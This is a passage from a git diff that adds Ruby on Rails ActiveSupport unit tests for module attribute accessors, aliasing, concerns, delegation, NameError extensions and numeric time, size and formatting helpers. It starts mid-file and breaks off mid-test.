+        mattr_reader "valid_part\ninvalid_part"
+      end
+    end
+    assert_equal "invalid attribute name: valid_part\ninvalid_part", exception.message
+
+    exception = assert_raises NameError do
+      Class.new do
+        mattr_writer "valid_part\ninvalid_part"
+      end
+    end
+    assert_equal "invalid attribute name: valid_part\ninvalid_part", exception.message
+  end
+
+  def test_should_use_default_value_if_block_passed
+    assert_equal "default_accessor_value", @module.defa
+    assert_equal "default_reader_value", @module.defr
+    assert_equal "default_writer_value", @module.class_variable_get("@@defw")
+  end
+
+  def test_method_invocation_should_not_invoke_the_default_block
+    count = 0
+
+    @module.cattr_accessor(:defcount) { count += 1 }
+
+    assert_equal 1, count
+    assert_no_difference "count" do
+      @module.defcount
+    end
+  end
+
+  def test_declaring_multiple_attributes_at_once_invokes_the_block_multiple_times
+    count = 0
+
+    @module.cattr_accessor(:defn1, :defn2) { count += 1 }
+
+    assert_equal 1, @module.defn1
+    assert_equal 2, @module.defn2
+  end
+end
diff --git a/activesupport/test/core_ext/module/attribute_aliasing_test.rb b/activesupport/test/core_ext/module/attribute_aliasing_test.rb
new file mode 100644
index 0000000000..187a0f4da2
--- /dev/null
+++ b/activesupport/test/core_ext/module/attribute_aliasing_test.rb
@@ -0,0 +1,61 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/core_ext/module/aliasing"
+
+module AttributeAliasing
+  class Content
+    attr_accessor :title, :Data
+
+    def initialize
+      @title, @Data = nil, nil
+    end
+
+    def title?
+      !title.nil?
+    end
+
+    def Data?
+      !self.Data.nil?
+    end
+  end
+
+  class Email < Content
+    alias_attribute :subject, :title
+    alias_attribute :body, :Data
+  end
+end
+
+class AttributeAliasingTest < ActiveSupport::TestCase
+  def test_attribute_alias
+    e = AttributeAliasing::Email.new
+
+    assert !e.subject?
+
+    e.title = "Upgrade computer"
+    assert_equal "Upgrade computer", e.subject
+    assert e.subject?
+
+    e.subject = "We got a long way to go"
+    assert_equal "We got a long way to go", e.title
+    assert e.title?
+  end
+
+  def test_aliasing_to_uppercase_attributes
+    # Although it's very un-Ruby, some people's AR-mapped tables have
+    # upper-case attributes, and when people want to alias those names
+    # to more sensible ones, everything goes *foof*.
+    e = AttributeAliasing::Email.new
+
+    assert !e.body?
+    assert !e.Data?
+
+    e.body = "No, really, this is not a joke."
+    assert_equal "No, really, this is not a joke.", e.Data
+    assert e.Data?
+
+    e.Data = "Uppercased methods are the suck"
+    assert_equal "Uppercased methods are the suck", e.body
+    assert e.body?
+  end
+end
diff --git a/activesupport/test/core_ext/module/concerning_test.rb b/activesupport/test/core_ext/module/concerning_test.rb
new file mode 100644
index 0000000000..192c3d5a9c
--- /dev/null
+++ b/activesupport/test/core_ext/module/concerning_test.rb
@@ -0,0 +1,67 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/core_ext/module/concerning"
+
+class ModuleConcerningTest < ActiveSupport::TestCase
+  def test_concerning_declares_a_concern_and_includes_it_immediately
+    klass = Class.new { concerning(:Foo) {} }
+    assert_includes klass.ancestors, klass::Foo, klass.ancestors.inspect
+  end
+end
+
+class ModuleConcernTest < ActiveSupport::TestCase
+  def test_concern_creates_a_module_extended_with_active_support_concern
+    klass = Class.new do
+      concern :Baz do
+        included { @foo = 1 }
+        def should_be_public; end
+      end
+    end
+
+    # Declares a concern but doesn't include it
+    assert klass.const_defined?(:Baz, false)
+    assert !ModuleConcernTest.const_defined?(:Baz)
+    assert_kind_of ActiveSupport::Concern, klass::Baz
+    assert_not_includes klass.ancestors, klass::Baz, klass.ancestors.inspect
+
+    # Public method visibility by default
+    assert_includes klass::Baz.public_instance_methods.map(&:to_s), "should_be_public"
+
+    # Calls included hook
+    assert_equal 1, Class.new { include klass::Baz }.instance_variable_get("@foo")
+  end
+
+  class Foo
+    concerning :Bar do
+      module ClassMethods
+        def will_be_orphaned; end
+      end
+
+      const_set :ClassMethods, Module.new {
+        def hacked_on; end
+      }
+
+      # Doesn't overwrite existing ClassMethods module.
+      class_methods do
+        def nicer_dsl; end
+      end
+
+      # Doesn't overwrite previous class_methods definitions.
+      class_methods do
+        def doesnt_clobber; end
+      end
+    end
+  end
+
+  def test_using_class_methods_blocks_instead_of_ClassMethods_module
+    assert !Foo.respond_to?(:will_be_orphaned)
+    assert Foo.respond_to?(:hacked_on)
+    assert Foo.respond_to?(:nicer_dsl)
+    assert Foo.respond_to?(:doesnt_clobber)
+
+    # Orphan in Foo::ClassMethods, not Bar::ClassMethods.
+    assert Foo.const_defined?(:ClassMethods)
+    assert Foo::ClassMethods.method_defined?(:will_be_orphaned)
+  end
+end
diff --git a/activesupport/test/core_ext/module/introspection_test.rb b/activesupport/test/core_ext/module/introspection_test.rb
new file mode 100644
index 0000000000..76d3012239
--- /dev/null
+++ b/activesupport/test/core_ext/module/introspection_test.rb
@@ -0,0 +1,39 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/core_ext/module/introspection"
+
+module ParentA
+  module B
+    module C; end
+    module FrozenC; end
+    FrozenC.freeze
+  end
+
+  module FrozenB; end
+  FrozenB.freeze
+end
+
+class IntrospectionTest < ActiveSupport::TestCase
+  def test_parent_name
+    assert_equal "ParentA", ParentA::B.parent_name
+    assert_equal "ParentA::B", ParentA::B::C.parent_name
+    assert_nil ParentA.parent_name
+  end
+
+  def test_parent_name_when_frozen
+    assert_equal "ParentA", ParentA::FrozenB.parent_name
+    assert_equal "ParentA::B", ParentA::B::FrozenC.parent_name
+  end
+
+  def test_parent
+    assert_equal ParentA::B, ParentA::B::C.parent
+    assert_equal ParentA, ParentA::B.parent
+    assert_equal Object, ParentA.parent
+  end
+
+  def test_parents
+    assert_equal [ParentA::B, ParentA, Object], ParentA::B::C.parents
+    assert_equal [ParentA, Object], ParentA::B.parents
+  end
+end
diff --git a/activesupport/test/core_ext/module/reachable_test.rb b/activesupport/test/core_ext/module/reachable_test.rb
new file mode 100644
index 0000000000..a69fc6839e
--- /dev/null
+++ b/activesupport/test/core_ext/module/reachable_test.rb
@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/core_ext/module/reachable"
+
+class AnonymousTest < ActiveSupport::TestCase
+  test "an anonymous class or module is not reachable" do
+    assert !Module.new.reachable?
+    assert !Class.new.reachable?
+  end
+
+  test "ordinary named classes or modules are reachable" do
+    assert Kernel.reachable?
+    assert Object.reachable?
+  end
+
+  test "a named class or module whose constant has gone is not reachable" do
+    c = eval "class C; end; C"
+    m = eval "module M; end; M"
+
+    self.class.send(:remove_const, :C)
+    self.class.send(:remove_const, :M)
+
+    assert !c.reachable?
+    assert !m.reachable?
+  end
+
+  test "a named class or module whose constants store different objects are not reachable" do
+    c = eval "class C; end; C"
+    m = eval "module M; end; M"
+
+    self.class.send(:remove_const, :C)
+    self.class.send(:remove_const, :M)
+
+    eval "class C; end"
+    eval "module M; end"
+
+    assert C.reachable?
+    assert M.reachable?
+    assert !c.reachable?
+    assert !m.reachable?
+  end
+end
diff --git a/activesupport/test/core_ext/module/remove_method_test.rb b/activesupport/test/core_ext/module/remove_method_test.rb
new file mode 100644
index 0000000000..dbf71b477d
--- /dev/null
+++ b/activesupport/test/core_ext/module/remove_method_test.rb
@@ -0,0 +1,59 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/core_ext/module/remove_method"
+
+module RemoveMethodTests
+  class A
+    def do_something
+      return 1
+    end
+
+    def do_something_protected
+      return 1
+    end
+    protected :do_something_protected
+
+    def do_something_private
+      return 1
+    end
+    private :do_something_private
+
+    class << self
+      def do_something_else
+        return 2
+      end
+    end
+  end
+end
+
+class RemoveMethodTest < ActiveSupport::TestCase
+  def test_remove_method_from_an_object
+    RemoveMethodTests::A.class_eval {
+      remove_possible_method(:do_something)
+    }
+    assert !RemoveMethodTests::A.new.respond_to?(:do_something)
+  end
+
+  def test_remove_singleton_method_from_an_object
+    RemoveMethodTests::A.class_eval {
+      remove_possible_singleton_method(:do_something_else)
+    }
+    assert !RemoveMethodTests::A.respond_to?(:do_something_else)
+  end
+
+  def test_redefine_method_in_an_object
+    RemoveMethodTests::A.class_eval {
+      redefine_method(:do_something) { return 100 }
+      redefine_method(:do_something_protected) { return 100 }
+      redefine_method(:do_something_private) { return 100 }
+    }
+    assert_equal 100, RemoveMethodTests::A.new.do_something
+    assert_equal 100, RemoveMethodTests::A.new.send(:do_something_protected)
+    assert_equal 100, RemoveMethodTests::A.new.send(:do_something_private)
+
+    assert RemoveMethodTests::A.public_method_defined? :do_something
+    assert RemoveMethodTests::A.protected_method_defined? :do_something_protected
+    assert RemoveMethodTests::A.private_method_defined? :do_something_private
+  end
+end
diff --git a/activesupport/test/core_ext/module_test.rb b/activesupport/test/core_ext/module_test.rb
new file mode 100644
index 0000000000..69c8a312d8
--- /dev/null
+++ b/activesupport/test/core_ext/module_test.rb
@@ -0,0 +1,435 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/core_ext/module"
+
+Somewhere = Struct.new(:street, :city) do
+  attr_accessor :name
+end
+
+Someone = Struct.new(:name, :place) do
+  delegate :street, :city, :to_f, to: :place
+  delegate :name=, to: :place, prefix: true
+  delegate :upcase, to: "place.city"
+  delegate :table_name, to: :class
+  delegate :table_name, to: :class, prefix: true
+
+  def self.table_name
+    "some_table"
+  end
+
+  self::FAILED_DELEGATE_LINE = __LINE__ + 1
+  delegate :foo, to: :place
+
+  self::FAILED_DELEGATE_LINE_2 = __LINE__ + 1
+  delegate :bar, to: :place, allow_nil: true
+
+  private
+
+    def private_name
+      "Private"
+    end
+end
+
+Invoice = Struct.new(:client) do
+  delegate :street, :city, :name, to: :client, prefix: true
+  delegate :street, :city, :name, to: :client, prefix: :customer
+end
+
+Project = Struct.new(:description, :person) do
+  delegate :name, to: :person, allow_nil: true
+  delegate :to_f, to: :description, allow_nil: true
+end
+
+Developer = Struct.new(:client) do
+  delegate :name, to: :client, prefix: nil
+end
+
+Event = Struct.new(:case) do
+  delegate :foo, to: :case
+end
+
+Tester = Struct.new(:client) do
+  delegate :name, to: :client, prefix: false
+
+  def foo; 1; end
+end
+
+Product = Struct.new(:name) do
+  delegate :name, to: :manufacturer, prefix: true
+  delegate :name, to: :type, prefix: true
+
+  def manufacturer
+    @manufacturer ||= begin
+      nil.unknown_method
+    end
+  end
+
+  def type
+    @type ||= begin
+      nil.type_name
+    end
+  end
+end
+
+module ExtraMissing
+  def method_missing(sym, *args)
+    if sym == :extra_missing
+      42
+    else
+      super
+    end
+  end
+
+  def respond_to_missing?(sym, priv = false)
+    sym == :extra_missing || super
+  end
+end
+
+DecoratedTester = Struct.new(:client) do
+  include ExtraMissing
+
+  delegate_missing_to :client
+end
+
+class DecoratedReserved
+  delegate_missing_to :case
+
+  attr_reader :case
+
+  def initialize(kase)
+    @case = kase
+  end
+end
+
+class Block
+  def hello?
+    true
+  end
+end
+
+HasBlock = Struct.new(:block) do
+  delegate :hello?, to: :block
+end
+
+class ParameterSet
+  delegate :[], :[]=, to: :@params
+
+  def initialize
+    @params = { foo: "bar" }
+  end
+end
+
+class Name
+  delegate :upcase, to: :@full_name
+
+  def initialize(first, last)
+    @full_name = "#{first} #{last}"
+  end
+end
+
+class SideEffect
+  attr_reader :ints
+
+  delegate :to_i, to: :shift, allow_nil: true
+  delegate :to_s, to: :shift
+
+  def initialize
+    @ints = [1, 2, 3]
+  end
+
+  def shift
+    @ints.shift
+  end
+end
+
+class ModuleTest < ActiveSupport::TestCase
+  def setup
+    @david = Someone.new("David", Somewhere.new("Paulina", "Chicago"))
+  end
+
+  def test_delegation_to_methods
+    assert_equal "Paulina", @david.street
+    assert_equal "Chicago", @david.city
+  end
+
+  def test_delegation_to_assignment_method
+    @david.place_name = "Fred"
+    assert_equal "Fred", @david.place.name
+  end
+
+  def test_delegation_to_index_get_method
+    @params = ParameterSet.new
+    assert_equal "bar", @params[:foo]
+  end
+
+  def test_delegation_to_index_set_method
+    @params = ParameterSet.new
+    @params[:foo] = "baz"
+    assert_equal "baz", @params[:foo]
+  end
+
+  def test_delegation_down_hierarchy
+    assert_equal "CHICAGO", @david.upcase
+  end
+
+  def test_delegation_to_instance_variable
+    david = Name.new("David", "Hansson")
+    assert_equal "DAVID HANSSON", david.upcase
+  end
+
+  def test_delegation_to_class_method
+    assert_equal "some_table", @david.table_name
+    assert_equal "some_table", @david.class_table_name
+  end
+
+  def test_missing_delegation_target
+    assert_raise(ArgumentError) do
+      Name.send :delegate, :nowhere
+    end
+    assert_raise(ArgumentError) do
+      Name.send :delegate, :noplace, tos: :hollywood
+    end
+  end
+
+  def test_delegation_target_when_prefix_is_true
+    assert_nothing_raised do
+      Name.send :delegate, :go, to: :you, prefix: true
+    end
+    assert_nothing_raised do
+      Name.send :delegate, :go, to: :_you, prefix: true
+    end
+    assert_raise(ArgumentError) do
+      Name.send :delegate, :go, to: :You, prefix: true
+    end
+    assert_raise(ArgumentError) do
+      Name.send :delegate, :go, to: :@you, prefix: true
+    end
+  end
+
+  def test_delegation_prefix
+    invoice = Invoice.new(@david)
+    assert_equal "David", invoice.client_name
+    assert_equal "Paulina", invoice.client_street
+    assert_equal "Chicago", invoice.client_city
+  end
+
+  def test_delegation_custom_prefix
+    invoice = Invoice.new(@david)
+    assert_equal "David", invoice.customer_name
+    assert_equal "Paulina", invoice.customer_street
+    assert_equal "Chicago", invoice.customer_city
+  end
+
+  def test_delegation_prefix_with_nil_or_false
+    assert_equal "David", Developer.new(@david).name
+    assert_equal "David", Tester.new(@david).name
+  end
+
+  def test_delegation_prefix_with_instance_variable
+    assert_raise ArgumentError do
+      Class.new do
+        def initialize(client)
+          @client = client
+        end
+        delegate :name, :address, to: :@client, prefix: true
+      end
+    end
+  end
+
+  def test_delegation_with_allow_nil
+    rails = Project.new("Rails", Someone.new("David"))
+    assert_equal "David", rails.name
+  end
+
+  def test_delegation_with_allow_nil_and_nil_value
+    rails = Project.new("Rails")
+    assert_nil rails.name
+  end
+
+  # Ensures with check for nil, not for a falseish target.
+  def test_delegation_with_allow_nil_and_false_value
+    project = Project.new(false, false)
+    assert_raise(NoMethodError) { project.name }
+  end
+
+  def test_delegation_with_allow_nil_and_invalid_value
+    rails = Project.new("Rails", "David")
+    assert_raise(NoMethodError) { rails.name }
+  end
+
+  def test_delegation_with_allow_nil_and_nil_value_and_prefix
+    Project.class_eval do
+      delegate :name, to: :person, allow_nil: true, prefix: true
+    end
+    rails = Project.new("Rails")
+    assert_nil rails.person_name
+  end
+
+  def test_delegation_without_allow_nil_and_nil_value
+    david = Someone.new("David")
+    assert_raise(Module::DelegationError) { david.street }
+  end
+
+  def test_delegation_to_method_that_exists_on_nil
+    nil_person = Someone.new(nil)
+    assert_equal 0.0, nil_person.to_f
+  end
+
+  def test_delegation_to_method_that_exists_on_nil_when_allowing_nil
+    nil_project = Project.new(nil)
+    assert_equal 0.0, nil_project.to_f
+  end
+
+  def test_delegation_does_not_raise_error_when_removing_singleton_instance_methods
+    parent = Class.new do
+      def self.parent_method; end
+    end
+
+    assert_nothing_raised do
+      Class.new(parent) do
+        class << self
+          delegate :parent_method, to: :superclass
+        end
+      end
+    end
+  end
+
+  def test_delegation_line_number
+    _, line = Someone.instance_method(:foo).source_location
+    assert_equal Someone::FAILED_DELEGATE_LINE, line
+  end
+
+  def test_delegate_line_with_nil
+    _, line = Someone.instance_method(:bar).source_location
+    assert_equal Someone::FAILED_DELEGATE_LINE_2, line
+  end
+
+  def test_delegation_exception_backtrace
+    someone = Someone.new("foo", "bar")
+    someone.foo
+  rescue NoMethodError => e
+    file_and_line = "#{__FILE__}:#{Someone::FAILED_DELEGATE_LINE}"
+    # We can't simply check the first line of the backtrace, because JRuby reports the call to __send__ in the backtrace.
+    assert e.backtrace.any? { |a| a.include?(file_and_line) },
+           "[#{e.backtrace.inspect}] did not include [#{file_and_line}]"
+  end
+
+  def test_delegation_exception_backtrace_with_allow_nil
+    someone = Someone.new("foo", "bar")
+    someone.bar
+  rescue NoMethodError => e
+    file_and_line = "#{__FILE__}:#{Someone::FAILED_DELEGATE_LINE_2}"
+    # We can't simply check the first line of the backtrace, because JRuby reports the call to __send__ in the backtrace.
+    assert e.backtrace.any? { |a| a.include?(file_and_line) },
+           "[#{e.backtrace.inspect}] did not include [#{file_and_line}]"
+  end
+
+  def test_delegation_invokes_the_target_exactly_once
+    se = SideEffect.new
+
+    assert_equal 1, se.to_i
+    assert_equal [2, 3], se.ints
+
+    assert_equal "2", se.to_s
+    assert_equal [3], se.ints
+  end
+
+  def test_delegation_doesnt_mask_nested_no_method_error_on_nil_receiver
+    product = Product.new("Widget")
+
+    # Nested NoMethodError is a different name from the delegation
+    assert_raise(NoMethodError) { product.manufacturer_name }
+
+    # Nested NoMethodError is the same name as the delegation
+    assert_raise(NoMethodError) { product.type_name }
+  end
+
+  def test_delegation_with_method_arguments
+    has_block = HasBlock.new(Block.new)
+    assert has_block.hello?
+  end
+
+  def test_delegate_missing_to_with_method
+    assert_equal "David", DecoratedTester.new(@david).name
+  end
+
+  def test_delegate_missing_to_with_reserved_methods
+    assert_equal "David", DecoratedReserved.new(@david).name
+  end
+
+  def test_delegate_missing_to_does_not_delegate_to_private_methods
+    e = assert_raises(NoMethodError) do
+      DecoratedReserved.new(@david).private_name
+    end
+
+    assert_match(/undefined method `private_name' for/, e.message)
+  end
+
+  def test_delegate_missing_to_does_not_delegate_to_fake_methods
+    e = assert_raises(NoMethodError) do
+      DecoratedReserved.new(@david).my_fake_method
+    end
+
+    assert_match(/undefined method `my_fake_method' for/, e.message)
+  end
+
+  def test_delegate_missing_to_affects_respond_to
+    assert DecoratedTester.new(@david).respond_to?(:name)
+    assert_not DecoratedTester.new(@david).respond_to?(:private_name)
+    assert_not DecoratedTester.new(@david).respond_to?(:my_fake_method)
+
+    assert DecoratedTester.new(@david).respond_to?(:name, true)
+    assert_not DecoratedTester.new(@david).respond_to?(:private_name, true)
+    assert_not DecoratedTester.new(@david).respond_to?(:my_fake_method, true)
+  end
+
+  def test_delegate_missing_to_respects_superclass_missing
+    assert_equal 42, DecoratedTester.new(@david).extra_missing
+
+    assert_respond_to DecoratedTester.new(@david), :extra_missing
+  end
+
+  def test_delegate_with_case
+    event = Event.new(Tester.new)
+    assert_equal 1, event.foo
+  end
+
+  def test_private_delegate
+    location = Class.new do
+      def initialize(place)
+        @place = place
+      end
+
+      private(*delegate(:street, :city, to: :@place))
+    end
+
+    place = location.new(Somewhere.new("Such street", "Sad city"))
+
+    assert_not place.respond_to?(:street)
+    assert_not place.respond_to?(:city)
+
+    assert place.respond_to?(:street, true) # Asking for private method
+    assert place.respond_to?(:city, true)
+  end
+
+  def test_private_delegate_prefixed
+    location = Class.new do
+      def initialize(place)
+        @place = place
+      end
+
+      private(*delegate(:street, :city, to: :@place, prefix: :the))
+    end
+
+    place = location.new(Somewhere.new("Such street", "Sad city"))
+
+    assert_not place.respond_to?(:street)
+    assert_not place.respond_to?(:city)
+
+    assert_not place.respond_to?(:the_street)
+    assert place.respond_to?(:the_street, true)
+    assert_not place.respond_to?(:the_city)
+    assert place.respond_to?(:the_city, true)
+  end
+end
diff --git a/activesupport/test/core_ext/name_error_test.rb b/activesupport/test/core_ext/name_error_test.rb
new file mode 100644
index 0000000000..d1dace3713
--- /dev/null
+++ b/activesupport/test/core_ext/name_error_test.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/core_ext/name_error"
+
+class NameErrorTest < ActiveSupport::TestCase
+  def test_name_error_should_set_missing_name
+    exc = assert_raise NameError do
+      SomeNameThatNobodyWillUse____Really ? 1 : 0
+    end
+    assert_equal "NameErrorTest::SomeNameThatNobodyWillUse____Really", exc.missing_name
+    assert exc.missing_name?(:SomeNameThatNobodyWillUse____Really)
+    assert exc.missing_name?("NameErrorTest::SomeNameThatNobodyWillUse____Really")
+  end
+
+  def test_missing_method_should_ignore_missing_name
+    exc = assert_raise NameError do
+      some_method_that_does_not_exist
+    end
+    assert !exc.missing_name?(:Foo)
+    assert_nil exc.missing_name
+  end
+end
diff --git a/activesupport/test/core_ext/numeric_ext_test.rb b/activesupport/test/core_ext/numeric_ext_test.rb
new file mode 100644
index 0000000000..d38124b214
--- /dev/null
+++ b/activesupport/test/core_ext/numeric_ext_test.rb
@@ -0,0 +1,491 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/time"
+require "active_support/core_ext/numeric"
+require "active_support/core_ext/integer"
+
+class NumericExtTimeAndDateTimeTest < ActiveSupport::TestCase
+  def setup
+    @now = Time.local(2005, 2, 10, 15, 30, 45)
+    @dtnow = DateTime.civil(2005, 2, 10, 15, 30, 45)
+    @seconds = {
+      1.minute   => 60,
+      10.minutes => 600,
+      1.hour + 15.minutes => 4500,
+      2.days + 4.hours + 30.minutes => 189000,
+      5.years + 1.month + 1.fortnight => 161624106
+    }
+  end
+
+  def test_units
+    @seconds.each do |actual, expected|
+      assert_equal expected, actual
+    end
+  end
+
+  def test_irregular_durations
+    assert_equal @now.advance(days: 3000), 3000.days.since(@now)
+    assert_equal @now.advance(months: 1), 1.month.since(@now)
+    assert_equal @now.advance(months: -1), 1.month.until(@now)
+    assert_equal @now.advance(years: 20), 20.years.since(@now)
+    assert_equal @dtnow.advance(days: 3000), 3000.days.since(@dtnow)
+    assert_equal @dtnow.advance(months: 1), 1.month.since(@dtnow)
+    assert_equal @dtnow.advance(months: -1), 1.month.until(@dtnow)
+    assert_equal @dtnow.advance(years: 20), 20.years.since(@dtnow)
+  end
+
+  def test_duration_addition
+    assert_equal @now.advance(days: 1).advance(months: 1), (1.day + 1.month).since(@now)
+    assert_equal @now.advance(days: 7), (1.week + 5.seconds - 5.seconds).since(@now)
+    assert_equal @now.advance(years: 2), (4.years - 2.years).since(@now)
+    assert_equal @dtnow.advance(days: 1).advance(months: 1), (1.day + 1.month).since(@dtnow)
+    assert_equal @dtnow.advance(days: 7), (1.week + 5.seconds - 5.seconds).since(@dtnow)
+    assert_equal @dtnow.advance(years: 2), (4.years - 2.years).since(@dtnow)
+  end
+
+  def test_time_plus_duration
+    assert_equal @now + 8, @now + 8.seconds
+    assert_equal @now + 22.9, @now + 22.9.seconds
+    assert_equal @now.advance(days: 15), @now + 15.days
+    assert_equal @now.advance(months: 1), @now + 1.month
+    assert_equal @dtnow.since(8), @dtnow + 8.seconds
+    assert_equal @dtnow.since(22.9), @dtnow + 22.9.seconds
+    assert_equal @dtnow.advance(days: 15), @dtnow + 15.days
+    assert_equal @dtnow.advance(months: 1), @dtnow + 1.month
+  end
+
+  def test_chaining_duration_operations
+    assert_equal @now.advance(days: 2).advance(months: -3), @now + 2.days - 3.months
+    assert_equal @now.advance(days: 1).advance(months: 2), @now + 1.day + 2.months
+    assert_equal @dtnow.advance(days: 2).advance(months: -3), @dtnow + 2.days - 3.months
+    assert_equal @dtnow.advance(days: 1).advance(months: 2), @dtnow + 1.day + 2.months
+  end
+
+  def test_duration_after_conversion_is_no_longer_accurate
+    assert_equal (1.year / 12).to_i.seconds.since(@now), 1.month.to_i.seconds.since(@now)
+    assert_equal 365.2425.days.to_f.seconds.since(@now), 1.year.to_f.seconds.since(@now)
+    assert_equal (1.year / 12).to_i.seconds.since(@dtnow), 1.month.to_i.seconds.since(@dtnow)
+    assert_equal 365.2425.days.to_f.seconds.since(@dtnow), 1.year.to_f.seconds.since(@dtnow)
+  end
+
+  def test_add_one_year_to_leap_day
+    assert_equal Time.utc(2005, 2, 28, 15, 15, 10), Time.utc(2004, 2, 29, 15, 15, 10) + 1.year
+    assert_equal DateTime.civil(2005, 2, 28, 15, 15, 10), DateTime.civil(2004, 2, 29, 15, 15, 10) + 1.year
+  end
+end
+
+class NumericExtDateTest < ActiveSupport::TestCase
+  def setup
+    @today = Date.today
+  end
+
+  def test_date_plus_duration
+    assert_equal @today + 1, @today + 1.day
+    assert_equal @today >> 1, @today + 1.month
+    assert_equal @today.to_time.since(1), @today + 1.second
+    assert_equal @today.to_time.since(60), @today + 1.minute
+    assert_equal @today.to_time.since(60 * 60), @today + 1.hour
+  end
+
+  def test_chaining_duration_operations
+    assert_equal @today.advance(days: 2).advance(months: -3), @today + 2.days - 3.months
+    assert_equal @today.advance(days: 1).advance(months: 2), @today + 1.day + 2.months
+  end
+
+  def test_add_one_year_to_leap_day
+    assert_equal Date.new(2005, 2, 28), Date.new(2004, 2, 29) + 1.year
+  end
+end
+
+class NumericExtSizeTest < ActiveSupport::TestCase
+  def test_unit_in_terms_of_another
+    assert_equal 1024.bytes, 1.kilobyte
+    assert_equal 1024.kilobytes, 1.megabyte
+    assert_equal 3584.0.kilobytes, 3.5.megabytes
+    assert_equal 3584.0.megabytes, 3.5.gigabytes
+    assert_equal 1.kilobyte**4, 1.terabyte
+    assert_equal 1024.kilobytes + 2.megabytes, 3.megabytes
+    assert_equal 2.gigabytes / 4, 512.megabytes
+    assert_equal 256.megabytes * 20 + 5.gigabytes, 10.gigabytes
+    assert_equal 1.kilobyte**5, 1.petabyte
+    assert_equal 1.kilobyte**6, 1.exabyte
+  end
+
+  def test_units_as_bytes_independently
+    assert_equal 3145728, 3.megabytes
+    assert_equal 3145728, 3.megabyte
+    assert_equal 3072, 3.kilobytes
+    assert_equal 3072, 3.kilobyte
+    assert_equal 3221225472, 3.gigabytes
+    assert_equal 3221225472, 3.gigabyte
+    assert_equal 3298534883328, 3.terabytes
+    assert_equal 3298534883328, 3.terabyte
+    assert_equal 3377699720527872, 3.petabytes
+    assert_equal 3377699720527872, 3.petabyte
+    assert_equal 3458764513820540928, 3.exabytes
+    assert_equal 3458764513820540928, 3.exabyte
+  end
+end
+
+class NumericExtFormattingTest < ActiveSupport::TestCase
+  def kilobytes(number)
+    number * 1024
+  end
+
+  def megabytes(number)
+    kilobytes(number) * 1024
+  end
+
+  def gigabytes(number)
+    megabytes(number) * 1024
+  end
+
+  def terabytes(number)
+    gigabytes(number) * 1024
+  end
+
+  def petabytes(number)
+    terabytes(number) * 1024
+  end
+
+  def exabytes(number)
+    petabytes(number) * 1024
+  end
+
+  def test_to_s__phone
+    assert_equal("555-1234", 5551234.to_s(:phone))
+    assert_equal("800-555-1212", 8005551212.to_s(:phone))
+    assert_equal("(800) 555-1212", 8005551212.to_s(:phone, area_code: true))
+    assert_equal("800 555 1212", 8005551212.to_s(:phone, delimiter: " "))
+    assert_equal("(800) 555-1212 x 123", 8005551212.to_s(:phone, area_code: true, extension: 123))
+    assert_equal("800-555-1212", 8005551212.to_s(:phone, extension: "  "))
+    assert_equal("555.1212", 5551212.to_s(:phone, delimiter: "."))
+    assert_equal("+1-800-555-1212", 8005551212.to_s(:phone, country_code: 1))
+    assert_equal("+18005551212", 8005551212.to_s(:phone, country_code: 1, delimiter: ""))
+    assert_equal("22-555-1212", 225551212.to_s(:phone))
+    assert_equal("+45-22-555-1212", 225551212.to_s(:phone, country_code: 45))
+  end
+
+  def test_to_s__currency
+    assert_equal("$1,234,567,890.50", 1234567890.50.to_s(:currency))
+    assert_equal("$1,234,567,890.51", 1234567890.506.to_s(:currency))
+    assert_equal("-$1,234,567,890.50", -1234567890.50.to_s(:currency))
+    assert_equal("-$ 1,234,567,890.50", -1234567890.50.to_s(:currency, format: "%u %n"))
+    assert_equal("($1,234,567,890.50)", -1234567890.50.to_s(:currency, negative_format: "(%u%n)"))
+    assert_equal("$1,234,567,892", 1234567891.50.to_s(:currency, precision: 0))
+    assert_equal("$1,234,567,890.5", 1234567890.50.to_s(:currency, precision: 1))
+    assert_equal("&pound;1234567890,50", 1234567890.50.to_s(:currency, unit: "&pound;", separator: ",", delimiter: ""))
+  end
+
+  def test_to_s__rounded
+    assert_equal("-111.235", -111.2346.to_s(:rounded))
+    assert_equal("111.235", 111.2346.to_s(:rounded))
+    assert_equal("31.83", 31.825.to_s(:rounded, precision: 2))
+    assert_equal("111.23", 111.2346.to_s(:rounded, precision: 2))
+    assert_equal("111.00", 111.to_s(:rounded, precision: 2))
+    assert_equal("3268", (32.6751 * 100.00).to_s(:rounded, precision: 0))
+    assert_equal("112", 111.50.to_s(:rounded, precision: 0))
+    assert_equal("1234567892", 1234567891.50.to_s(:rounded, precision: 0))
+    assert_equal("0", 0.to_s(:rounded, precision: 0))
+    assert_equal("0.00100", 0.001.to_s(:rounded, precision: 5))
+    assert_equal("0.001", 0.00111.to_s(:rounded, precision: 3))
+    assert_equal("10.00", 9.995.to_s(:rounded, precision: 2))
+    assert_equal("11.00", 10.995.to_s(:rounded, precision: 2))
+    assert_equal("0.00", -0.001.to_s(:rounded, precision: 2))
+  end
+
+  def test_to_s__percentage
+    assert_equal("100.000%", 100.to_s(:percentage))
+    assert_equal("100%", 100.to_s(:percentage, precision: 0))
+    assert_equal("302.06%", 302.0574.to_s(:percentage, precision: 2))
+    assert_equal("123.4%", 123.400.to_s(:percentage, precision: 3, strip_insignificant_zeros: true))
+    assert_equal("1.000,000%", 1000.to_s(:percentage, delimiter: ".", separator: ","))
+    assert_equal("1000.000  %", 1000.to_s(:percentage, format: "%n  %"))
+  end
+
+  def test_to_s__delimited
+    assert_equal("12,345,678", 12345678.to_s(:delimited))
+    assert_equal("0", 0.to_s(:delimited))
+    assert_equal("123", 123.to_s(:delimited))
+    assert_equal("123,456", 123456.to_s(:delimited))
+    assert_equal("123,456.78", 123456.78.to_s(:delimited))
+    assert_equal("123,456.789", 123456.789.to_s(:delimited))
+    assert_equal("123,456.78901", 123456.78901.to_s(:delimited))
+    assert_equal("123,456,789.78901", 123456789.78901.to_s(:delimited))
+    assert_equal("0.78901", 0.78901.to_s(:delimited))
+  end
+
+  def test_to_s__delimited__with_options_hash
+    assert_equal "12 345 678", 12345678.to_s(:delimited, delimiter: " ")
